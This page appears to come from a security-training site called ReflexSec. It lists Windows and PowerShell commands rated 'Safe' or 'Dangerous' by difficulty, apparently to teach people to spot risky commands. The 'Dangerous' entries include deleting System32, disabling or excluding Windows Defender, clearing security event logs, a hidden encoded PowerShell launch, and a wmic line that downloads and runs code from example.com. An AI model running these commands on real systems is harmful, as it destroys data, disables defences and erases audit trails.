← ReflexSec
Windows
Every command ReflexSec uses, with the explanation behind the call. No timer — read at your own pace.
AllFile SystemNetworkingPrivilege EscalationPersistenceCredential AccessData ExfiltrationProcess ExecutionShellContainersCloudGit / DevelopmentLinuxmacOSWindowsPowerShellPythonJavaScript / NodeDockerKubernetesCI/CDWeb Security
- Safe
Get-ProcessIntermediate - Dangerous
Remove-Item -Recurse -Force C:\Windows\System32Intermediate - Safe
Get-ChildItem -Path C:\Users -Recurse -Filter *.logAdvanced - Dangerous
Set-MpPreference -DisableRealtimeMonitoring $trueIntermediate - Dangerous
powershell -nop -w hidden -enc RwBlAHQALQBEAGEAdABlAA==Advanced - Dangerous
certutil.exe -urlcache -split -f https://example.com/update.txt update.txtExpert - Dangerous
wmic process call create "powershell -w hidden -c IEX(New-Object Net.WebClient).DownloadString('https://example.com/a')"Nightmare - Dangerous
Stop-Service -Name WinDefend -ForceProAdvanced - Dangerous
Clear-EventLog -LogName Security, SystemProAdvanced - Safe
Get-ChildItem Cert:\LocalMachine\Root | Select-Object Subject, NotAfter | Sort-Object NotAfterProExpert - Safe
Get-MpPreference | Select-Object -ExpandProperty ExclusionPathProExpert - Dangerous
Add-MpPreference -ExclusionPath 'C:\Users\Public\Downloads'ProExpert - Safe
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104} -MaxEvents 100 | Where-Object Message -match 'IEX'ProNightmare - Safe
Get-Process | Where-Object Path -like "$env:TEMP\*" | Select-Object Name, Id, PathProNightmare - Dangerous
Set-MpPreference -MAPSReporting 0 -SubmitSamplesConsent 2ProExpert - Dangerous
wevtutil cl SecurityProIntermediate - Dangerous
Set-MpPreference -DisableBehaviorMonitoring $true -DisableIOAVProtection $trueProNightmare - Safe
Get-Service -Name SpoolerBeginner - Safe
Get-ChildItem C:\inetpub\logs -Recurse -Filter *.logBeginner - Dangerous
Disable-WindowsOptionalFeature -Online -FeatureName Windows-Defender -NoRestartBeginner - Dangerous
Remove-Item C:\inetpub\wwwroot -Recurse -ForceBeginner - Dangerous
net user administrator /active:yesBeginner